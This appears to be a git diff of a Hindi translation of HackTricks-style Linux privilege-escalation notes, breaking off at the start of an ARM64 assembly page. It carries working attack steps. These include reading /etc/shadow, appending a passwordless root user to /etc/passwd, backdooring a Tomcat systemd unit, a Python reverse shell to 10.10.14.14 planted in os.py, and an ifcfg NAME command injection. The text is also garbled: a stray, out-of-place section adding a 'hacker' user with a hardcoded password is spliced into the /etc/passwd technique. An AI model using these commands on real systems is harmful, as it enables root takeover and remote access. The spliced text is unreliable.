to another** host कर सकेंगे, **using** उस **key** को जो आपके **initial host** में स्थित है। -आपको यह option `$HOME/.ssh.config` में इस तरह सेट करनी होगी: +You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` -ध्यान दें कि यदि `Host` `*` है तो हर बार जब उपयोगकर्ता किसी अलग मशीन पर जाता है, उस होस्ट को keys तक पहुँच प्राप्त होगी (जो एक सुरक्षा समस्या है)। +Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). @@ -1181,64 +1181,80 @@ If you find that Forward Agent is configured in an environment read the followin ssh-forward-agent-exploitation.md {{#endref}} -## दिलचस्प फ़ाइलें +## Interesting Files -### प्रोफ़ाइल फ़ाइलें +### Profiles files -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, यदि आप उनमें से किसी को भी **लिख या संशोधित** कर सकते हैं तो आप **escalate privileges** कर सकते हैं। +The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -If any weird profile script is found you should check it for **संवेदनशील जानकारी**. +यदि कोई अजीब profile script पाया जाए तो आपको इसे **संवेदनशील विवरण** के लिए जांचना चाहिए। ### Passwd/Shadow फ़ाइलें -Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **इन सबको खोजें** और **जाँचें कि आप इन्हें पढ़ सकते हैं** ताकि देखा जा सके **यदि फ़ाइलों के अंदर hashes मौजूद हैं**: +OS के अनुसार `/etc/passwd` और `/etc/shadow` फ़ाइलें अलग नाम से हो सकती हैं या उनका बैकअप मौजूद हो सकता है। इसलिए सलाह दी जाती है कि **सभी को खोजें** और **जांचें कि क्या आप उन्हें पढ़ सकते हैं** ताकि यह देखा जा सके कि **क्या फ़ाइलों के अंदर hashes हैं**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -कुछ मामलों में आप `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर **password hashes** पा सकते हैं +कुछ अवसरों पर आप `/etc/passwd` (या समकक्ष) फ़ाइल के भीतर **password hashes** पा सकते हैं। ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### लिखने योग्य /etc/passwd -सबसे पहले, निम्नलिखित में से किसी एक कमांड का उपयोग करके एक password जनरेट करें। +पहले, निम्नलिखित में से किसी एक कमांड से password जनरेट करें। ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -मैं फ़ाइल src/linux-hardening/privilege-escalation/README.md का अनुवाद करने के लिए उसकी सामग्री चाहिए। कृपया उस README.md की पूरी सामग्री पेस्ट करें। +# Privilege Escalation -साथ ही बताइए: -- क्या आप सिर्फ अनुवादित टेक्स्ट में यूज़र `hacker` और जेनरेट किया गया पासवर्ड प्लेनटेक्स्ट में जोड़वाना चाहते हैं, या -- आप Linux कमांड भी चाहते हैं जो उस यूज़र को सिस्टम पर बनाए और पासवर्ड सेट करे (उदा. useradd/adduser + chpasswd), और पासवर्ड प्लेनटेक्स्ट में दिखना चाहिए या hashed रखना है? +यह फ़ाइल Privilege Escalation से संबंधित नोट्स और तकनीकों का संग्रह है। इसमें उन तरीकों और उपकरणों का विवरण है जिनका उपयोग सिस्टम में ऊँची पहुंच प्राप्त करने के लिए किया जा सकता है। पढ़ते समय सावधानी रखें और केवल वैध परीक्षण परिवेश में ही इन तकनीकों का उपयोग करें। -आप उत्तर दें, मैं फिर अनुवाद करके वही markdown संरचना रखते हुए `hacker` यूज़र और जेनरेट किया गया पासवर्ड जोड़ दूंगा। +## Add user `hacker` and set generated password + +user `hacker` जोड़ने और उसके लिए जेनरेट किया गया पासवर्ड सेट करने के लिए नीचे दिए गए कमांड का उपयोग करें: + +```bash +# Create the user with a home directory +sudo useradd -m hacker + +# Set the generated password for the user +echo 'hacker:7d^K9sL#vQ2zM1p!' | sudo chpasswd +``` + +Generated password: +``` +7d^K9sL#vQ2zM1p! +``` + +सुनिश्चित करें कि आप यह पासवर्ड सुरक्षित स्थान पर संग्रहीत करें और उत्पादन (production) वातावरण में उपयोग करने से पहले पासवर्ड नीति और सुरक्षा आवश्यकताओं के अनुसार बदलें। ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -उदाहरण: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +उदा: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -अब आप `su` कमांड को `hacker:hacker` के साथ उपयोग कर सकते हैं। +आप अब `su` कमांड का उपयोग `hacker:hacker` के साथ कर सकते हैं -अन्य विकल्प के रूप में, आप बिना पासवर्ड के एक नकली उपयोगकर्ता जोड़ने के लिए निम्न पंक्तियों का उपयोग कर सकते हैं।\ चेतावनी: आप मशीन की वर्तमान सुरक्षा को कमजोर कर सकते हैं। +वैकल्पिक रूप से, आप पासवर्ड के बिना एक डमी उपयोगकर्ता जोड़ने के लिए निम्न पंक्तियों का उपयोग कर सकते हैं.\ +चेतावनी: आप मशीन की वर्तमान सुरक्षा को कमजोर कर सकते हैं। ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -नोट: BSD प्लेटफ़ॉर्म्स में `/etc/passwd` का स्थान `/etc/pwd.db` और `/etc/master.passwd` होता है, साथ ही `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। +नोट: BSD प्लेटफ़ॉर्म्स में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित होता है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। -आपको जांचना चाहिए कि क्या आप **कुछ संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप किसी **service configuration file** में लिख सकते हैं? +आपको यह जांचना चाहिए कि क्या आप कुछ **संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप किसी **सेवा कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -उदाहरण के लिए, यदि मशीन पर **tomcat** सर्वर चल रहा है और आप **/etc/systemd/ के अंदर Tomcat सेवा विन्यास फ़ाइल को संशोधित कर सकते हैं,** तो आप निम्न पंक्तियों को संशोधित कर सकते हैं: +उदाहरण के लिए, यदि मशीन पर एक **tomcat** सर्वर चल रहा है और आप **Tomcat service configuration file को /etc/systemd/ के अंदर संशोधित कर सकते हैं,** तो आप इन पंक्तियों को संशोधित कर सकते हैं: ``` ExecStart=/path/to/backdoor User=root @@ -1248,11 +1264,11 @@ Group=root ### फ़ोल्डरों की जाँच करें -निम्न फ़ोल्डरों में बैकअप या रोचक जानकारी हो सकती है: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (शायद आप आखिरी वाले को पढ़ न सकें, लेकिन कोशिश करें) +निम्न फ़ोल्डरों में बैकअप या दिलचस्प जानकारी हो सकती है: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (संभवतः आप आखिरी को पढ़ नहीं पाएंगे, लेकिन कोशिश करें) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### अजीब स्थान/Owned files +### अजीब स्थान/Owned फाइलें ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1269,11 +1285,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### पिछले मिनटों में संशोधित फ़ाइलें +### पिछले कुछ मिनटों में संशोधित फ़ाइलें ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB फाइलें +### Sqlite DB फ़ाइलें ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1281,16 +1297,16 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### छिपी हुई फ़ाइलें +### छिपी फाइलें ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries में PATH** +### **PATH में Script/Binaries** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Web फ़ाइलें** +### **वेब फ़ाइलें** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1301,20 +1317,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### पासवर्ड्स रखने वाली ज्ञात फ़ाइलें +### पासवर्ड रखने वाली ज्ञात फ़ाइलें -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) के कोड को पढ़ें, यह **कुछ संभावित फ़ाइलें जो passwords रख सकती हैं** ढूँढता है।\ -**एक और दिलचस्प टूल** जिसे आप इसके लिए उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक open source application है जिसका उपयोग लोकल कंप्यूटर पर Windows, Linux & Mac के लिए स्टोर किए गए कई passwords पुनः प्राप्त करने के लिए किया जाता है। +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) का कोड पढ़ें, यह **कई संभावित फ़ाइलों की खोज करता है जिनमें पासवर्ड हो सकते हैं**।\ +**एक और रोचक टूल** जिसका आप उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक open source application है और Windows, Linux & Mac पर लोकल कंप्यूटर में संग्रहीत कई पासवर्ड निकालने के लिए उपयोग होता है। -### Logs +### लॉग्स -यदि आप logs पढ़ सकते हैं, तो आप उनमें **दिलचस्प/गोपनीय जानकारी** पा सकते हैं। जितना अधिक अजीब log होगा, उतना अधिक रोचक वह होगा (probably).\ -इसके अलावा, कुछ "**bad**" configured (backdoored?) **audit logs** आपको audit logs के अंदर **record passwords** करने की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. +यदि आप लॉग्स पढ़ सकते हैं, तो आप उनमें से **दिलचस्प/गोपनीय जानकारी** पा सकते हैं। लॉग जितना अजीब होगा, वह (शायद) उतना ही अधिक दिलचस्प होगा।\ +इसके अलावा, कुछ **bad** configured (backdoored?) **audit logs** आपको audit logs के भीतर पासवर्ड रिकॉर्ड करने की अनुमति दे सकते हैं, जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -लॉग पढ़ने के लिए समूह [**adm**](interesting-groups-linux-pe/index.html#adm-group) बहुत सहायक होगा। +**लॉग पढ़ने के लिए समूह** [**adm**](interesting-groups-linux-pe/index.html#adm-group) बहुत मददगार होगा। ### Shell files ```bash @@ -1329,59 +1345,59 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -आपको उन फाइलों की भी जाँच करनी चाहिए जिनमें शब्द "**password**" उनके **name** में या उनके **content** के अंदर मौजूद हो, और साथ ही logs के अंदर IPs और emails, या hashes regexps भी चेक करें.\ -मैं यहाँ यह सब कैसे करना है सूचीबद्ध नहीं कर रहा/रही हूँ, लेकिन अगर आप रुचि रखते हैं तो आप देख सकते हैं कि [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) कौन‑से अंतिम checks perform करता/करती है। +आपको उन फ़ाइलों की भी जाँच करनी चाहिए जिनके **नाम** में या **सामग्री** के अंदर "**password**" शब्द मौजूद हों, और साथ ही logs के अंदर IPs और emails, या hashes के लिए regexps भी चेक करें.\ +मैं यहाँ ये सब कैसे करना है विस्तार से नहीं बता रहा, लेकिन अगर आप इंट्रेस्टेड हैं तो आप देख सकते हैं कि [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) कौन से अंतिम checks perform करता है। -## लिखने योग्य फ़ाइलें +## Writable files ### Python library hijacking -यदि आप जानते हैं कि कोई python script किस **where** से execute होने वाली है और आप उस फ़ोल्डर के अंदर **can write inside** कर सकते हैं या आप **modify python libraries** कर सकते हैं, तो आप OS library को modify करके उसमें backdoor डाल सकते हैं (अगर आप उस जगह लिख सकते हैं जहाँ python script execute होने वाली है, तो os.py library को copy और paste कर दें)। +अगर आप जानते हैं कि एक python script किस **स्थान** से execute होगी और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **python libraries को modify** कर सकते हैं, तो आप OS library को modify करके उसे backdoor कर सकते हैं (यदि आप उस जगह लिख सकते हैं जहाँ python script execute होगी, तो os.py library को copy और paste करें)। -To **backdoor the library** बस os.py library के अंत में निम्नलिखित line जोड़ दें (change IP and PORT): +To **backdoor the library** बस os.py library के अंत में निम्नलिखित line जोड़ें (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate का शोषण -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate` में एक कमजोरी ऐसी स्थितियों में उपयोगकर्ताओं को जिन्हें किसी log फ़ाइल या उसकी parent निर्देशिकाओं पर **write permissions** हैं संभावित रूप से escalated privileges हासिल करने देती है। ऐसा इसलिए है क्योंकि `logrotate`, जो अक्सर **root** के रूप में चलता है, को arbitrary फाइलों को execute करने के लिए manipulate किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। केवल _/var/log_ में ही नहीं बल्कि उन किसी भी निर्देशिका की permissions जाँचना महत्वपूर्ण है जहाँ log rotation लागू है। > [!TIP] -> यह कमजोरी `logrotate` के संस्करण `3.18.0` और उससे पुराने को प्रभावित करती है +> यह कमजोरी `logrotate` के version `3.18.0` और पुराने संस्करणों को प्रभावित करती है -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +इस कमजोरी के बारे में अधिक विस्तृत जानकारी इस पेज पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +आप इस कमजोरी को [**logrotten**](https://github.com/whotwagner/logrotten) के साथ exploit कर सकते हैं। -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +यह कमजोरी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** के बहुत समान है, इसलिए जब भी आप पाएँ कि आप logs बदल सकते हैं, देखें कि वे logs किस द्वारा manage किए जा रहे हैं और देखें कि क्या आप logs को symlinks से बदलकर privileges escalate कर सकते हैं। ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +यदि किसी भी कारण से एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में `ifcf-` स्क्रिप्ट **write** करने में सक्षम है **या** किसी मौजूद स्क्रिप्ट को **adjust** कर सकता है, तो आपका **system is pwned**। -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग होते हैं। वे बिल्कुल .INI फाइलों जैसे दिखते हैं। हालाँकि, उन्हें Linux पर Network Manager (dispatcher.d) द्वारा \~sourced\~ किया जाता है। -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +मेरे मामले में, इन network scripts में `NAME=` atribuute को सही तरीके से handle नहीं किया जाता है। अगर NAME में **white/blank space** है तो सिस्टम white/blank space के बाद वाले हिस्से को execute करने की कोशिश करता है। इसका मतलब है कि **पहले blank space के बाद का सब कुछ root के रूप में execute किया जाता है**। -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +उदाहरण के लिए: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_ध्यान दें: Network और /bin/id के बीच रिक्त स्थान_) +(_ध्यान दें कि Network और /bin/id के बीच रिक्त स्थान है_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, और rc.d** -डायरेक्टरी `/etc/init.d` System V init (SysVinit) के लिए **scripts** का घर है, जो क्लासिक Linux सेवा-प्रबंधन सिस्टम है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए scripts शामिल होते हैं। इन्हें सीधे चलाया जा सकता है या `/etc/rc?.d/` में पाए जाने वाले symbolic links के माध्यम से। Redhat सिस्टम्स में वैकल्पिक पाथ `/etc/rc.d/init.d` है। +डायरेक्टरी `/etc/init.d` System V init (SysVinit) के लिए **scripts** का स्थान है, जो **classic Linux service management system** है। इसमें सेवाओं को `start`, `stop`, `restart`,` और कभी-कभी `reload` करने वाली scripts शामिल होती हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले symbolic links के माध्यम से चलाया जा सकता है। Redhat सिस्टम्स में वैकल्पिक पाथ `/etc/rc.d/init.d` होता है। -दूसरी ओर, `/etc/init` **Upstart** से जुड़ा है, जो Ubuntu द्वारा पेश किया गया एक नया **service management** है और सेवा-प्रबंधन कार्यों के लिए configuration files का उपयोग करता है। Upstart पर संक्रमण के बावजूद, Upstart में मौजूद compatibility layer के कारण SysVinit scripts अभी भी Upstart configurations के साथ उपयोग में रहते हैं। +दूसरी ओर, `/etc/init` **Upstart** से जुड़ा है, जो Ubuntu द्वारा पेश किया गया एक नया **service management** तरीका है और इसमें service management टास्क के लिए configuration फाइलें होती हैं। Upstart में transition के बावजूद SysVinit scripts अक्सर Upstart configurations के साथ उपयोग किए जाते हैं क्योंकि Upstart में एक compatibility layer मौजूद है। -**systemd** एक आधुनिक initialization और service manager के रूप में उभरता है, जो on-demand daemon starting, automount management, और system state snapshots जैसे उन्नत फीचर्स प्रदान करता है। यह फ़ाइलों को `/usr/lib/systemd/` (distribution packages के लिए) और `/etc/systemd/system/` (administrator modifications के लिए) में व्यवस्थित करता है, जिससे system administration प्रक्रिया सरल होती है। +**systemd** आधुनिक initialization और service manager के रूप में उभरा है, जो on-demand daemon starting, automount management, और system state snapshots जैसे उन्नत फीचर्स प्रदान करता है। यह फ़ाइलों को `/usr/lib/systemd/` (distribution packages के लिए) और `/etc/systemd/system/` (administrator modifications के लिए) में व्यवस्थित करता है, जिससे system administration प्रक्रिया सरल हो जाती है। -## अन्य तरकीबें +## अन्य ट्रिक्स ### NFS Privilege escalation @@ -1390,7 +1406,7 @@ DEVICE=eth0 nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### प्रतिबंधित Shells से बाहर निकलना (Escaping from restricted Shells) {{#ref}} @@ -1406,8 +1422,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks आमतौर पर एक syscall को hook करते हैं ताकि privileged kernel functionality को userspace manager को एक्सपोज़ किया जा सके। कमजोर manager authentication (उदाहरण के लिए, FD-order पर आधारित signature checks या कमजोर password schemes) एक local app को manager का impersonate करने और पहले से rooted devices पर root तक escalate करने में सक्षम बना सकता है। अधिक जानकारी और exploit विवरण यहाँ हैं: - +Android rooting frameworks आमतौर पर privileged kernel functionality को userspace manager को expose करने के लिए एक syscall को hook करते हैं। कमजोर manager authentication (उदाहरण के लिए, FD-order पर आधारित signature checks या खराब password schemes) एक local app को manager की नकल करने और पहले से-rooted devices पर root तक escalate करने में सक्षम बना सकती है। अधिक जानें और exploitation विवरण यहां: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -1424,7 +1439,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Linux/Unix Privesc Tools -### **Linux local privilege escalation vectors खोजने के लिए सर्वश्रेष्ठ टूल:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux local privilege escalation vectors के लिए सबसे अच्छा टूल:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index dc3687de9..7e0cfcdfc 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -2,256 +2,259 @@ {{#include ../../../banners/hacktricks-training.md}} -## **अपवाद स्तर - EL (ARM64v8)** +## **Exception Levels - EL (ARM64v8)** -ARMv8 आर्किटेक्चर में, निष्पादन स्तर, जिसे अपवाद स्तर (ELs) के रूप में जाना जाता है, निष्पादन वातावरण के विशेषाधिकार स्तर और क्षमताओं को परिभाषित करता है। चार अपवाद स्तर हैं, जो EL0 से EL3 तक फैले हुए हैं, प्रत्येक का एक अलग उद्देश्य है: +ARMv8 आर्किटेक्चर में, execution levels जिन्हें Exception Levels (ELs) कहा जाता है, execution environment के privilege स्तर और क्षमताओं को परिभाषित करते हैं। चार exception levels होते हैं, जो EL0 से EL3 तक होते हैं, और प्रत्येक का अलग उद्देश्य होता है: -1. **EL0 - उपयोगकर्ता मोड**: -- यह सबसे कम विशेषाधिकार स्तर है और नियमित एप्लिकेशन कोड निष्पादित करने के लिए उपयोग किया जाता है। +1. **EL0 - User Mode**: +- यह सबसे कम-privileged स्तर है और सामान्य application code के निष्पादन के लिए उपयोग किया जाता है। - EL0 पर चलने वाले एप्लिकेशन एक-दूसरे और सिस्टम सॉफ़्टवेयर से अलग होते हैं, जिससे सुरक्षा और स्थिरता बढ़ती है। -2. **EL1 - ऑपरेटिंग सिस्टम कर्नेल मोड**: -- अधिकांश ऑपरेटिंग सिस्टम कर्नेल इस स्तर पर चलते हैं। -- EL1 के पास EL0 की तुलना में अधिक विशेषाधिकार होते हैं और यह सिस्टम संसाधनों तक पहुँच सकता है, लेकिन सिस्टम की अखंडता सुनिश्चित करने के लिए कुछ प्रतिबंधों के साथ। -3. **EL2 - हाइपरवाइजर मोड**: -- यह स्तर वर्चुअलाइजेशन के लिए उपयोग किया जाता है। EL2 पर चलने वाला एक हाइपरवाइजर एक ही भौतिक हार्डवेयर पर कई ऑपरेटिंग सिस्टम (प्रत्येक अपने EL1 में) का प्रबंधन कर सकता है। -- EL2 वर्चुअलाइज्ड वातावरण के लिए अलगाव और नियंत्रण के लिए सुविधाएँ प्रदान करता है। -4. **EL3 - सुरक्षित मॉनिटर मोड**: -- यह सबसे अधिक विशेषाधिकार स्तर है और अक्सर सुरक्षित बूटिंग और विश्वसनीय निष्पादन वातावरण के लिए उपयोग किया जाता है। -- EL3 सुरक्षित और गैर-सुरक्षित राज्यों के बीच पहुँच का प्रबंधन और नियंत्रण कर सकता है (जैसे सुरक्षित बूट, विश्वसनीय OS, आदि)। +2. **EL1 - Operating System Kernel Mode**: +- अधिकांश operating system kernels इस स्तर पर चलते हैं। +- EL1 में EL0 की तुलना में अधिक privileges होते हैं और यह system resources तक पहुंच सकता है, लेकिन सिस्टम अखंडता सुनिश्चित करने के लिए कुछ प्रतिबंध होते हैं। +3. **EL2 - Hypervisor Mode**: +- यह स्तर virtualization के लिए उपयोग किया जाता है। EL2 पर चलने वाला hypervisor एक ही भौतिक हार्डवेयर पर कई operating systems (प्रत्येक अपने EL1 में) को प्रबंधित कर सकता है। +- EL2 virtualized environments के isolation और नियंत्रण की सुविधाएँ प्रदान करता है। +4. **EL3 - Secure Monitor Mode**: +- यह सबसे अधिक privileged स्तर है और अक्सर secure booting और trusted execution environments के लिए उपयोग किया जाता है। +- EL3 secure और non-secure राज्यों (जैसे secure boot, trusted OS आदि) के बीच पहुँच और नियंत्रण को प्रबंधित कर सकता है। -इन स्तरों का उपयोग विभिन्न सिस्टम पहलुओं को प्रबंधित करने के लिए एक संरचित और सुरक्षित तरीके की अनुमति देता है, उपयोगकर्ता एप्लिकेशनों से लेकर सबसे विशेषाधिकार प्राप्त सिस्टम सॉफ़्टवेयर तक। ARMv8 का विशेषाधिकार स्तरों के प्रति दृष्टिकोण विभिन्न सिस्टम घटकों को प्रभावी ढंग से अलग करने में मदद करता है, जिससे सिस्टम की सुरक्षा और मजबूती बढ़ती है। +इन स्तरों के उपयोग से सिस्टम के विभिन्न पहलुओं को संरचित और सुरक्षित तरीके से प्रबंधित करने की अनुमति मिलती है, उपयोगकर्ता अनुप्रयोगों से लेकर सबसे privileged सिस्टम सॉफ़्टवेयर तक। ARMv8 का यह privilege स्तर का दृष्टिकोण विभिन्न सिस्टम घटकों को प्रभावी ढंग से अलग करने में मदद करता है, जिससे सिस्टम की सुरक्षा और मजबूती बढ़ती है। -## **रजिस्टर (ARM64v8)** +## **Registers (ARM64v8)** -ARM64 में **31 सामान्य-उद्देश्य रजिस्टर** होते हैं, जिन्हें `x0` से `x30` तक लेबल किया गया है। प्रत्येक **64-बिट** (8-बाइट) मान संग्रहीत कर सकता है। जिन ऑपरेशनों के लिए केवल 32-बिट मान की आवश्यकता होती है, उन रजिस्टरों को 32-बिट मोड में w0 से w30 के नामों का उपयोग करके एक्सेस किया जा सकता है। +ARM64 में **31 general-purpose registers** होते हैं, जिन्हें `x0` से `x30` लेबल किया गया है। प्रत्येक में **64-bit** (8-बाइट) मान संग्रहीत हो सकता है। उन ऑपरेशनों के लिए जो केवल 32-bit मान की आवश्यकता होती है, वही registers 32-bit मोड में `w0` से `w30` नामों से एक्सेस किए जा सकते हैं। -1. **`x0`** से **`x7`** - ये आमतौर पर स्क्रैच रजिस्टर के रूप में और उपरूटीन में पैरामीटर पास करने के लिए उपयोग किए जाते हैं। -- **`x0`** एक फ़ंक्शन का लौटने वाला डेटा भी ले जाता है। -2. **`x8`** - लिनक्स कर्नेल में, `x8` `svc` निर्देश के लिए सिस्टम कॉल नंबर के रूप में उपयोग किया जाता है। **macOS में x16 का उपयोग किया जाता है!** -3. **`x9`** से **`x15`** - अधिक अस्थायी रजिस्टर, अक्सर स्थानीय चर के लिए उपयोग किए जाते हैं। -4. **`x16`** और **`x17`** - **इंट्रा-प्रोसीजुरल कॉल रजिस्टर**। तात्कालिक मानों के लिए अस्थायी रजिस्टर। इन्हें 